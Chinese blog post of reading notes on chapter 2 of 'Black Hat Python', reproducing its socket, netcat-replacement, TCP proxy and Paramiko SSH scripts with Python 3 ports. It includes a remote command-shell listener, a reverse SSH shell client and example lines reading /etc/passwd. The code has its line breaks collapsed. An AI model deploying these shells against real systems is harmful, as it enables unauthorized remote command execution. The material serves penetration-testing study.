网络基础

admin 2022年7月8日04:46:32评论23 views字数 29898阅读99分39秒阅读模式



网络基础

前言

《Python黑帽子:黑客与渗透测试编程之道》的读书笔记,会包括书中源码,并自己将其中一些改写成Python3版本。书是比较老了,anyway,还是本很好的书

本篇是第2章网络基础,主要是socket模块的使用,同时也是后面篇章的基础

1、网络基础

(1)TCP客户端

一个简单的TCP客户端如下:

  • 建立socket对象

  • 连接到服务器

  • 发送数据

  • 接收并打印响应数据

#!/usr/bin/env python#-*- coding:utf8 -*-
import socket
target_host = "127.0.0.1"target_port = 8888
#建立一个socket对象(AF_INET:使用标准IPV4地址和主机名,SOCK_STREAM:TCP客户端)client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接客户端client.connect((target_host,target_port))
# 发送一些数据client.send("GET / HTTP/1.1rnHost:baidu.comrnrn")
# 接收一些数据(4096个字符)response = client.recv(4096)
print response
可以看到这里做了一定假设:
  • 连接总能成功建立

  • 服务器总是期望客户端先发数据

  • 服务器每次都能及时返回数据

这些都要根据实际情况调整

(2)UDP客户端

简单的修改


#!/usr/bin/env python#-*- coding:utf8 -*-import socket
target_host = "127.0.0.1"target_port = 9999
#建立一个socket对象(SOCK_DGRAM:UDP客户端)client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 发送一些数据client.sendto("AAABBBCCC你收到了吗",(target_host,target_port))
# 接收一些数据(4096个字符),将会收到回传的数据和远程主机的信息和端口号data, addr = client.recvfrom(4096)
print dataprint addr
(3)TCP服务器

一个标准多线程TCP服务器如下:

  • 监听IP和端口

  • 设置连接数

  • 一个客户端成功连接时,启动线程处理


#!/usr/bin/env python#-*- coding:utf8 -*-import  socketimport threading
bind_ip = "0.0.0.0" #绑定ip:这里代表任何ip地址bind_port = 8888
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))# 最大连接数为5server.listen(5)
print "[*] Listening on %s:%d" % (bind_ip, bind_port)
# 这是客户处理进程def handle_client(client_socket): #打印出客户端发送得到的内容 request = client_socket.recv(1024)
print "[*] Received: %s" % request
#发送一个数据包 client_socket.send("ACK!") client_socket.close()

while True: client,addr = server.accept()
print "[*] Accepted connection from: %s:%d" % (addr[0], addr[1])
#挂起客户端线程,处理传入的数据 client_handler = threading.Thread(target=handle_client, args=(client,)) client_handler.start()
2、取代netcat

netcat,瑞士军刀!
现在想办法实现相似的功能

(1)bhnet.py 脚本

这里创建一个bhnet.py

  • 简单实现客户端和服务器来传递想要的文件

  • 创建一个监听端来拥有控制命令行的操作权限


#!/usr/bin/env python#-*- coding:utf8 -*-import sysimport socketimport getoptimport threadingimport subprocess
# 定义一些全局变量listen = Falsecommand = Falseupload = Falseexecute = ""target = ""upload_destination = ""port = 0
def run_command(command):
# 删除字符串末尾的空格 command = command.rstrip() # 运行命令并将输出放回 try: output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) except: output = "Failed to execute command.rn" # 将输出发送 return output
# 文件上传、命令执行def client_handler(client_socket): global upload global execute global command
# 检查上传文件 if len(upload_destination): # 读取所有的字符并写下目标 file_buffer = "" # 持续读取数据直到没有符合的数据 while True: data = client_socket.recv(1024)
if not data: break else: file_buffer += data
try: file_descriptor = open(upload_destination, "wb") file_descriptor.write(file_buffer) file_descriptor.close()
client_socket.send("Successfully saved file to %srn" % upload_destination) except: client_socket.send("Failed to save file to %srn" % upload_destination)
# 检查命令执行 if len(execute): # 运行命令 output = run_command(execute) client_socket.send(output)

# 如果需要一个命令行shell,那么我们进入另一个循环 if command: while True: # 跳出一个窗口 client_socket.send("<BHP:#>")
cmd_buffer = "" while "n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024) # 返回命令输出 response = run_command(cmd_buffer) # 返回响应数据 client_socket.send(response)
# 服务端def server_loop(): global target
# 如果没有定义目标,那我们监听所有接口 if not len(target): target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port))
server.listen(5)
while True: client_socket, addr = server.accept() # 分拆一个线程处理新的客户端 client_thread = threading.Thread(target=client_handler, args=(client_socket,)) client_thread.start()
# 客户端def client_sender(buffer): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: # 连接到目标主机 client.connect((target, port))
if len(buffer): client.send(buffer)
while True: # 现在等待数据回传 recv_len = 1 response = ""
while recv_len: data = client.recv(4096) recv_len = len(data) response += data
if recv_len < 4096: break
print response
# 等待更多的输入 buffer = raw_input("") buffer += "n"
# 发送出去 client.send(buffer)
except: print "[*] Exception! Exiting."
#关闭连接 client.close()
# usagedef usage(): print "BHP Net Tool" print print "Usage: bhpnet.py -t target_host - p port" print "-l --listen - listen on [host]:[port] for incoming connections" print "-e --execute=file_to_run -execute the given file upon receiving a connection" print "-c --command - initialize a commandshell" print "-u --upload=destination - upon receiving connection upload a file and write to [destination]" print print print "Examples:" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -c" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.exe" print "bhpnet.py -t 192.168.0.1 -p 5555 -l -e="cat /etc/passwd"" print "echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135" sys.exit(0)
# 主函数def main(): global listen global port global execute global command global upload_destination global target
if not len(sys.argv[1:]): usage()
# 读取命令行选项,若没有该选项则显示用法 try: opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",["help", "listen", "execute", "target", "port", "command", "upload"]) except getopt.GetoptError as err: print str(err) usage()
for o,a in opts: if o in ("-h","--help"): usage() elif o in ("-l", "--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--commandshell"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False,"Unhandled Option"
#我们是进行监听还是仅从标准输入读取数据并发送数据? if not listen and len(target) and port > 0:
# 从命令行读取内存数据 # 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D buffer = sys.stdin.read()
# 发送数据 client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令 # 放置一个反弹shell # 取决于上面的命令行选项 if listen: server_loop()
#调用main函数if __name__ == '__main__': main()
Python3版本

#!/usr/bin/env python# -*- coding:utf-8 -*-# version : python3.5
import sysimport socketimport getoptimport threadingimport subprocess
# 定义一些全局变量listen = Falsecommand = Falseupload = Falseexecute = ""target = ""upload_destination = ""port = 0
# usagedef usage(): print("BHP NET TOOL") print("") print("Usage: bhpet.py -t target_host -p port") print("-l --listen - listen on [host]: [port] for incoming connections") print("-e --execute=file_to_run - excute the give file upon receiving a connection") print("-c --command - initialize a command shell") print("-u -upload=destination - upon receiving connection upload a file and write to [destination]") print("Examples: ") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\target.ext") print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e='cat /etc/passwd'") print("echo 'ABCDEFGHI' | ./bhpnet.py -t 192.168.11.12 -p 135") sys.exit(0)
# 客户端def client_sender(): client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: # 连接到目标主机 client.connect((target, port)) print("Successfully connect to %s: %s" %(target, port)) # if len(buffer): # client.send(buffer.encode('utf-8'))
while True: # 现在等待数据回传 recv_len = 1 response = ""
while recv_len: data = client.recv(4096).decode('utf-8') recv_len = len(data) response += data
if recv_len < 4096: break
print(response)
# 等待输入 buffer = str(input("")) buffer += "n"

# 发送出去 # print("sending....") client.send(buffer.encode('utf-8')) # print("[%s] has been sent Successfully" % buffer.encode('utf-8')) except: print("[*] Exception Exiting.")
# 关闭连接 client.close()
# 服务端def server_loop(): global target
# 如果没有设置监听目标,那么我们默认监听本地 if not len(target): target = "127.0.0.1"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((target, port))
server.listen(5) print("waiting for connection...") while True: client_socket, addr = server.accept() print("Successfully connect to %s: %s" % addr) # 分拆一个线程处理新的客户端 client_thread = threading.Thread(target=client_handler, args=[client_socket, ]) client_thread.start()

def run_command(command): # 换行 command = command.rstrip()
# 运行命令并将结果返回 try: # output = subprocess.getoutput(command) output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True) except: output = "failed to execute command.rn"
# 将输出发送 return output
# 实现功能def client_handler(client_socket): global upload global command global execute print("这里是client_handler") # 检测上传文件 if len(upload_destination): # 读取所有的字符并写下目标 file_buffer = "" print("waiting for write to %s...n" % upload_destination) # 持续读取数据直到没有符合的数据 while True: file_buffer = "" while True: client_socket.send(b' Please input the file's content:n') print("receiving") data = client_socket.recv(1024) print("the data is %s" % data) if b'exit' in data: break else: file_buffer += data.decode('utf-8') print("the file_buffer is %sn" % file_buffer)
# 现在我们接收这些数据并将它们写出来 try: file_descriptor = open(upload_destination, "w") file_descriptor.write(file_buffer) file_descriptor.close()
# 确认文件已经写出来 client_socket.send(b'Successfully saved file to %srn' % upload_destination.encode('utf-8'))
except: client_socket.send(b'Fail to save file to %srn' % upload_destination.encode('utf-8'))
# 检查命令执行 if len(execute): # 运行命令 output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell, 那么我们进入另一个循环 if command: while True: # 跳出一个窗口 client_socket.send(" n<BHP: #> ".encode('utf-8')) # 现在我们接收文件直到发现换行符 cmd_buffer = "" while "n" not in cmd_buffer: cmd_buffer += client_socket.recv(1024).decode('utf-8') # 返还命令输出 response = run_command(cmd_buffer) # 返回响应数据 client_socket.send(response)
# 主函数def main(): global listen global port global execute global command global upload_destination global target
if not len(sys.argv[1:]): usage()
# 读取命令行选项 try: opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", ["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err: print(str(err)) usage
for o, a in opts: if o in ("-h", "--help"): usage() elif o in ("-l", "--listen"): listen = True elif o in ("-e", "--execute"): execute = a elif o in ("-c", "--command"): command = True elif o in ("-u", "--upload"): upload_destination = a elif o in ("-t", "--target"): target = a elif o in ("-p", "--port"): port = int(a) else: assert False, "Unhandled Option"
# 我们是监听还是仅从标准输入发送数据 if not listen and len(target) and port > 0: # 执行客户端程序 client_sender()
# 我们开始监听并准备上传文件、执行命令 # 放置一个反弹shell # 取决于上面的命令行选项 if listen: # 执行服务端程序 server_loop() if __name__ == '__main__': main()
(2)运行方法

1、获取shell执行命令

目标机(服务端)

./bhnet.py -l -p 9999 -c

攻击机(客户端)

./bhnet.py -t localhost -p 9999

2、发送http请求

客户端

echo -ne "GET / HTTP/1.1rnHost:www.baidu.comrnrn" | ./bhnet.py -t www.baidu.com -p 9999

3、创建一个TCP代理

部署简单的TCP代理了解未知协议,修改发送到应用的数据包,或者为fuzz创建测试环境

(1)TCPproxy.py 脚本


#!/usr/bin/env python#-*- coding:utf8 -*-
import sysimport socketimport threading

def hexdump(src, length=16): result = [] digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length): s = src[i:i+length] hexa = b' '.join(["%0*X" % (digits, ord(x)) for x in s]) text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s]) result.append(b"%04X %-*s %s" % (i, length*(digits+1), hexa, text))
print b'n'.join(result)
def receive_from(connection):
buffer = ""
#我们设置了两秒的超时,这取决与目标的情况, 可能需要调整 connection.settimeout(2)
try: # 持续从缓存中读取数据直到没有数据或者超时 while True: data = connection.recv(4096) if not data: break buffer += data except: pass #pass是空语句,是为了保持程序结构的完整性,防止报错
return buffer
def request_handler(buffer): # 执行包修改 return buffer
def response_handler(buffer): # 执行包修改 return buffer
def proxy_handler(client_socket, remote_host, remote_port, receive_first):
# 连接远程主机 remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host, remote_port))
# 如果必要从远程主机接收数据 if receive_first:
remote_buffer = receive_from(remote_socket) hexdump(remote_buffer)
# 发送给我们的响应处理 remote_buffer = response_handler(remote_buffer)
# 如果我们有数据传递给本地客户端,发送它 if len(remote_buffer): print "[<==] Sending %d bytes to localhost." % len(remote_buffer) client_socket.send(remote_buffer)
# 现在我们从本地循环读取数据,发送给远程主机和本地主机 while True:
# 从本地读取数据 local_buffer = receive_from(client_socket)
if len(local_buffer): print "[==>] Received %d bytes from localhost" % len(local_buffer) hexdump(local_buffer)
# 发送给我们的本地请求 local_buffer = request_handler(local_buffer)
# 向远程主机发送数据 remote_socket.send(local_buffer) print "[==>] Sent to remote."
# 接受响应的数据 remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote." % len(remote_buffer) hexdump(remote_buffer)
#发送到响应处理函数 remote_buffer = response_handler(remote_buffer)
#将响应发送给本地socket client_socket.send(remote_buffer)
print "[<==] Sent to localhost."
#如果两边都没有数据,关闭连接 if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print "[*] No more data. Closing connections."
break
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try: server.bind((local_host, local_port)) except: print "[!!] Failed to listen on %s:%d" % (local_host, local_port) print "[!!] Check for other listening sockets or correct permissions." sys.exit(0)
print "[*] Listening on %s:%d" % (local_host, local_port)
server.listen(5)
while True: client_socket, addr = server.accept()
#打印出本地连接信息 print "[==>] Received incoming connectiong from %s:%d" % (addr[0], addr[1]) #开启一个线程与远程主机通信 proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first)) proxy_thread.start()

def main(): # 没有华丽的命令行解析 if len(sys.argv[1:]) != 5: print "Usage: ./tcpProxy.py [localhost] [localport] [remotehost] [remoteport] [receive_first]" print "Example: ./tcpProxy.py 127.0.0.1 9000 10.12.132.1 9000 True" sys.exit(0)
# 设置本地监听参数 local_host = sys.argv[1] local_port = int(sys.argv[2])
#设置远程目标 remote_host = sys.argv[3] remote_port = int(sys.argv[4])
#告诉代理在发送给远程主机之前连接和接受数据 receive_first = sys.argv[5]
if "True" in receive_first: receive_first = True else: receive_first = False
#现在设置好我们的监听socket server_loop(local_host, local_port, remote_host, remote_port, receive_first)
if __name__ == '__main__': main()
Python3版本

#!/usr/bin/env python# -*- coding:utf-8 -*-# version : python3.5
import sysimport socketimport threading
def server_loop(local_host, local_port, remote_host, remote_port, receive_first): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: server.bind((local_host, local_port)) except: print("[!!] Fail to listen on %s: %d" % (local_host, local_port)) print("[!!] Check for other listening sockets correct permissions.") sys.exit(0) print("[*] Listening on %s: %d" %(local_host, local_port)) server.listen(5) while True: client_socket, addr = server.accept()
# 打印出本地连接信息 print("[>>==] Received incoming connection from %s: %d" %(addr[0], addr[1]))
# 开启一个线程与远程主机通信 proxy_thread = threading.Thread(target=proxy_handler, args=(client_socket, remote_host, remote_port, receive_first))
proxy_thread.start()
def proxy_handler(client_socket, remote_host, remote_port, receive_first): #连接远程主机 remote_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) remote_socket.connect((remote_host, remote_port))
# 如果必要从远程主机接收数据 if receive_first: remote_buffer = receive_from(remote_socket) hexdump(remote_buffer)
# 发送给我们的响应处理 remote_buffer = response_handler(remote_buffer)
# 如果我们有数据传递给本地客户端,发送它 if len(remote_buffer): print("[<<==] Sending %d bytes to localhost."%len(remote_buffer)) client_socket.send(remote_buffer)
# 现在我们从本地循环读取数据。发送给远程主机和本地主机 while True: # 从本地读取数据 local_buffer = receive_from(client_socket) if len(local_buffer): print("[>>==] Received %d bytes from localhost."%len(local_buffer))
hexdump(local_buffer) # 发送给我们的本地请求 local_buffer = request_handler(local_buffer) # 向远程主机发送数据 remote_socket.send(local_buffer) print("[==>>] Sent to remote.")
# 接收响应的数据 remote_buffer = receive_from(remote_socket) if len(remote_buffer): print("[==<<] Received %d bytes from remote. " % len(remote_buffer)) hexdump(remote_buffer) # 发送到响应处理函数 remote_buffer = response_handler(remote_buffer) # 将响应发送给本地socket client_socket.send(remote_buffer) print("[<<==] Sent to localhost")
# 如果两边都没有数据,关闭连接 if not len(local_buffer) or not len(remote_buffer): client_socket.close() remote_socket.close() print("[*] No more data. Closing connections.") break

def hexdump(src, length=16): result = [] digits = 4 if isinstance(src, str) else 2
for i in range(0, len(src), length): s = src[i:i + length] hexa = ' '.join([hex(x)[2:].upper().zfill(digits) for x in s]) text = ''.join([chr(x) if 0x20 <= x < 0x7F else '.' for x in s]) result.append("{0:04X}".format(i) + ' ' * 3 + hexa.ljust(length * (digits + 1)) + ' ' * 3 + "{0}".format(text))
# return 'n'.join(result) print('n'.join(result))
def receive_from(connection): buffer= ""
# 我们设置了两秒的超时,这取决于目标的情况,肯需要调整 connection.settimeout(2)
try: # 持续从缓存中读取数据,直到没有数据或超时 while True: data = connection.recv(4096) if not data: break data = bytes.decode(data) buffer += data buffer = str.encode(buffer) except: pass return buffer
# 对目标是远程主机的请求进行修改def request_handler(buffer): # 执行包修改 return buffer
# 对目标是本地主机的响应进行修改def response_handler(buffer): # 执行包修改 return buffer
def main(): if len(sys.argv[1:])!=5: print("Usage: ./proxy.py [localhost][localport][remotehost][remoteport][receive_first]") sys.exit(0) # 设置本地监听参数 local_host = sys.argv[1] local_port = int(sys.argv[2])
# 设置远程目标 remote_host = sys.argv[3] remote_port = int(sys.argv[4])
# 告诉代理在发送给远程主机之前连接和接收数据 receive_first = sys.argv[5]
if 'True' in receive_first: receive_first = True else: receive_first = False
# 现在我们设置好我们的监听socket server_loop(local_host, local_port, remote_host, remote_port, receive_first)
if __name__ == '__main__': main()
(2)运行方法
sudo ./TCPproxy.py 127.0.0.1 21 ftp.taget.ca 21 True

4、通过Paramiko使用SSH

Paramiko库中的PyCrypto能轻松上手SSH2协议

(1)客户端连接SSH服务器

创建一个函数连接SSH服务器并执行一条命令


#-*- coding:utf8 -*-
import threadingimport paramikoimport subprocess
def ssh_command(ip, user, passwd, command): client = paramiko.SSHClient() # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥 client.connect(ip, username=user, password=passwd) #连接 ssh_session = client.get_transport().open_session() #打开会话 if ssh_session.active: ssh_session.exec_command(command) #执行命令 print ssh_session.recv(1024) #返回命令执行结果(1024个字符) return
#调用函数,以用户pi及其密码连接我自己的树莓派,并执行id这个命令ssh_command('192.168.88.105', 'pi', 'raspberry', 'id')
(2)反向从服务端发向客户端

#!/usr/bin/env python#-*- coding:utf8 -*-
import threadingimport paramikoimport subprocess
def ssh_command(ip, user, passwd, command, port = 22): client = paramiko.SSHClient() # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证 client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) #设置自动添加和保存目标ssh服务器的ssh密钥 client.connect(ip, port, username=user, password=passwd) #连接 ssh_session = client.get_transport().open_session() #打开会话 if ssh_session.active: ssh_session.exec_command(command) #执行命令 print ssh_session.recv(1024) #返回命令执行结果(1024个字符) while True: command = ssh_session.recv(1024) #从ssh服务器获取命令 try: cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(str(cmd_output)) except Exception, e: ssh_session.send(str(e)) client.close() return
ssh_command('10.10.10.145', 'root', 'lovepython', 'ClientConnected', 2222)
Python3版本

#!/usr/bin/env python# -*- coding:utf-8 -*-# version : python3.5
# import threadingimport paramikoimport subprocess
def ssh_command(ip, user, passwd, command): client = paramiko.SSHClient() # 密钥验证 # client.load_host_keys('/home/justin/.ssh/known_hosts') # 允许连接不在known_hosts文件上的主机 client.set_missing_host_key_policy(paramiko.AutoAddPolicy) client.connect(ip, username=user, password=passwd) ssh_session = client.get_transport().open_session() if ssh_session.active: ssh_session.send(command.encode()) print(ssh_session.recv(1024).decode()) while True: # 得到执行的命令 command = ssh_session.recv(1024).decode() try: cmd_output = subprocess.check_output(command, shell=True) ssh_session.send(cmd_output) except Exception as e: ssh_session.send(str(e).encode()) client.close() return
ssh_command('192.168.230.129', 'justin', 'lovesthepython', 'ClientConnection')
(3)创建一个SSH服务端

#!/usr/bin/env python#-*- coding:utf8 -*-
import socketimport paramikoimport threadingimport sys
# 使用 Paramiko示例文件的密钥#host_key = paramiko.RSAKey(filename='test_rsa.key')host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')
class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if (username == 'root') and (password == 'lovepython'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED
server = sys.argv[1]ssh_port = int(sys.argv[2])try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #TCP socket #这里value设置为1,表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。 sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port)) #绑定ip和端口 sock.listen(100) #最大连接数为100 print '[+] Listening for connection ...' client, addr = sock.accept()except Exception, e: print '[-] Listen failed: ' + str(e) sys.exit(1)print '[+] Got a connection!'
try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException, x: print '[-] SSH negotiation failed' chan = bhSession.accept(20) #设置超时值为20 print '[+] Authenticated!' print chan.recv(1024) chan.send("Welcome to my ssh") while True: try: command = raw_input("Enter command:").strip("n") #strip移除字符串头尾指定的字符(默认为空格),这里是换行 if command != 'exit': chan.send(command) print chan.recv(1024) + 'n' else: chan.send('exit') print 'exiting' bhSession.close() raise Exception('exit') except KeyboardInterrupt: bhSession.close()except Exception, e: print '[-] Caught exception: ' + str(e) try: bhSession.close() except: pass sys.exit(1)
Python3版本

#!/usr/bin/env python# -*- coding:utf-8 -*-# version : python3.5
import socketimport paramikoimport threadingimport sys
# 使用paramiko示例文件的密钥host_key = paramiko.RSAKey(filename='test_rsa.key')
class Server(paramiko.ServerInterface): def __init__(self): self.event = threading.Event() def check_channel_request(self, kind, chanid): if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED def check_auth_password(self, username, password): if(username == 'justin') and (password == 'lovesthepython'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED
server = sys.argv[1]ssh_port = int(sys.argv[2])try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.setsockopt(sock, sock.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((server, ssh_port)) sock.listen(100) print("[+] Listening for connection...") client, addr = sock.accept()except Exception as e: print("[-] Listen failed: " + str(e)) sys.exit(1)print("[+] Got a connection ! ")
try: bhSession = paramiko.Transport(client) bhSession.add_server_key(host_key) server = Server() try: bhSession.start_server(server=server) except paramiko.SSHException as x: print("[-] SSH negotiation failed.") chan = bhSession.accept(20) print("[+] Authenticated") print(chan.recv(1024).decode()) chan.send(b'Welcome to bh_ssh') while True: try: command = input("Enter command: ").strip('n') if command != 'exit': chan.send(command) print(chan.recv(1024).decode()+'n') else: chan.send(b'exit') print("exiting") bhSession.close() raise Exception('exit') except KeyboardInterrupt: bhSession.close()except Exception as e: print("[-] Caught exception: "+str(e)) try: bhSession.close() except: pass sys.exit(1)
5、SSH隧道

SSH隧道转发,看图理解

网络基础
但是大部分Windows不运行SSH服务,那么可以反向SSH

网络基础


#!/usr/bin/env python# -*- coding:utf-8 -*-
# Copyright (C) 2008 Robey Pointer <[email protected]>## This file is part of paramiko.## Paramiko is free software; you can redistribute it and/or modify it under the# terms of the GNU Lesser General Public License as published by the Free# Software Foundation; either version 2.1 of the License, or (at your option)# any later version.## Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more# details.## You should have received a copy of the GNU Lesser General Public License# along with Paramiko; if not, write to the Free Software Foundation, Inc.,# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
"""Sample script showing how to do remote port forwarding over paramiko.
This script connects to the requested SSH server and sets up remote portforwarding (the openssh -R option) from a remote port through a tunneledconnection to a destination reachable from the local machine."""
import getpassimport osimport socketimport selectimport sysimport threadingfrom optparse import OptionParser
import paramiko
SSH_PORT = 22DEFAULT_PORT = 4000
g_verbose = True

def handler(chan, host, port): sock = socket.socket() try: sock.connect((host, port)) except Exception as e: verbose('Forwarding request to %s:%d failed: %r' % (host, port, e)) return verbose('Connected! Tunnel open %r -> %r -> %r' % (chan.origin_addr, chan.getpeername(), (host, port))) while True: r, w, x = select.select([sock, chan], [], []) if sock in r: data = sock.recv(1024) if len(data) == 0: break chan.send(data) if chan in r: data = chan.recv(1024) if len(data) == 0: break sock.send(data) chan.close() sock.close() verbose('Tunnel closed from %r' % (chan.origin_addr,))

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): transport.request_port_forward('', server_port) while True: chan = transport.accept(1000) if chan is None: continue thr = threading.Thread(target=handler, args=(chan, remote_host, remote_port)) thr.setDaemon(True) thr.start()

def verbose(s): if g_verbose: print(s)

HELP = """Set up a reverse forwarding tunnel across an SSH server, using paramiko. Aport on the SSH server (given with -p) is forwarded across an SSH sessionback to the local machine, and out to a remote site reachable from thisnetwork. This is similar to the openssh -R option."""

def get_host_port(spec, default_port): "parse 'hostname:22' into a host and port, with the port optional" args = (spec.split(':', 1) + [default_port])[:2] args[1] = int(args[1]) return args[0], args[1]

def parse_options(): global g_verbose parser = OptionParser(usage='usage: %prog [options] <ssh-server>[:<server-port>]', version='%prog 1.0', description=HELP) parser.add_option('-q', '--quiet', action='store_false', dest='verbose', default=True, help='squelch all informational output') parser.add_option('-p', '--remote-port', action='store', type='int', dest='port', default=DEFAULT_PORT, help='port on server to forward (default: %d)' % DEFAULT_PORT) parser.add_option('-u', '--user', action='store', type='string', dest='user', default=getpass.getuser(), help='username for SSH authentication (default: %s)' % getpass.getuser()) parser.add_option('-K', '--key', action='store', type='string', dest='keyfile', default=None, help='private key file to use for SSH authentication') parser.add_option('', '--no-key', action='store_false', dest='look_for_keys', default=True, help='don't look for or use a private key file') parser.add_option('-P', '--password', action='store_true', dest='readpass', default=False, help='read password (for key or password auth) from stdin') parser.add_option('-r', '--remote', action='store', type='string', dest='remote', default=None, metavar='host:port', help='remote host and port to forward to') options, args = parser.parse_args()
if len(args) != 1: parser.error('Incorrect number of arguments.') if options.remote is None: parser.error('Remote address required (-r).') g_verbose = options.verbose server_host, server_port = get_host_port(args[0], SSH_PORT) remote_host, remote_port = get_host_port(options.remote, SSH_PORT) return options, (server_host, server_port), (remote_host, remote_port)

def main(): options, server, remote = parse_options() password = None if options.readpass: password = getpass.getpass('Enter SSH password: ') client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose('Connecting to ssh host %s:%d ...' % (server[0], server[1])) try: client.connect(server[0], server[1], username=options.user, key_filename=options.keyfile, look_for_keys=options.look_for_keys, password=password) except Exception as e: print('*** Failed to connect to %s:%d: %r' % (server[0], server[1], e)) sys.exit(1)
verbose('Now forwarding remote port %d to %s:%d ...' % (options.port, remote[0], remote[1]))
try: reverse_forward_tunnel(options.port, remote[0], remote[1], client.get_transport()) except KeyboardInterrupt: print('C-c: Port forwarding stopped.') sys.exit(0)

if __name__ == '__main__': main()
Python3版本

#!/usr/bin/env python# -*- coding:utf-8 -*-
# example:python rforward.py 192.168.100.123 -p 8080 -r 192.168.100.128:80 --user justin --password
import getpassimport osimport socketimport selectimport sysimport threadingfrom optparse import OptionParser
import paramiko
SSH_PORT = 22DEFAULT_PORT = 4000
g_verbose = True

def handler(chan, host, port): sock = socket.socket() try: sock.connect((host, port)) except Exception as e: verbose("Forwarding request to %s:%d failed: %r" % (host, port, e)) return
verbose( "Connected! Tunnel open %r -> %r -> %r" % (chan.origin_addr, chan.getpeername(), (host, port)) ) while True: r, w, x = select.select([sock, chan], [], []) if sock in r: data = sock.recv(1024) if len(data) == 0: break chan.send(data) if chan in r: data = chan.recv(1024) if len(data) == 0: break sock.send(data) chan.close() sock.close() verbose("Tunnel closed from %r" % (chan.origin_addr,))

def reverse_forward_tunnel(server_port, remote_host, remote_port, transport): transport.request_port_forward("", server_port) while True: chan = transport.accept(1000) if chan is None: continue thr = threading.Thread( target=handler, args=(chan, remote_host, remote_port) ) thr.setDaemon(True) thr.start()

def verbose(s): if g_verbose: print(s)

HELP = """Set up a reverse forwarding tunnel across an SSH server, using paramiko. Aport on the SSH server (given with -p) is forwarded across an SSH sessionback to the local machine, and out to a remote site reachable from thisnetwork. This is similar to the openssh -R option."""

def get_host_port(spec, default_port): "parse 'hostname:22' into a host and port, with the port optional" args = (spec.split(":", 1) + [default_port])[:2] args[1] = int(args[1]) return args[0], args[1]

def parse_options(): global g_verbose
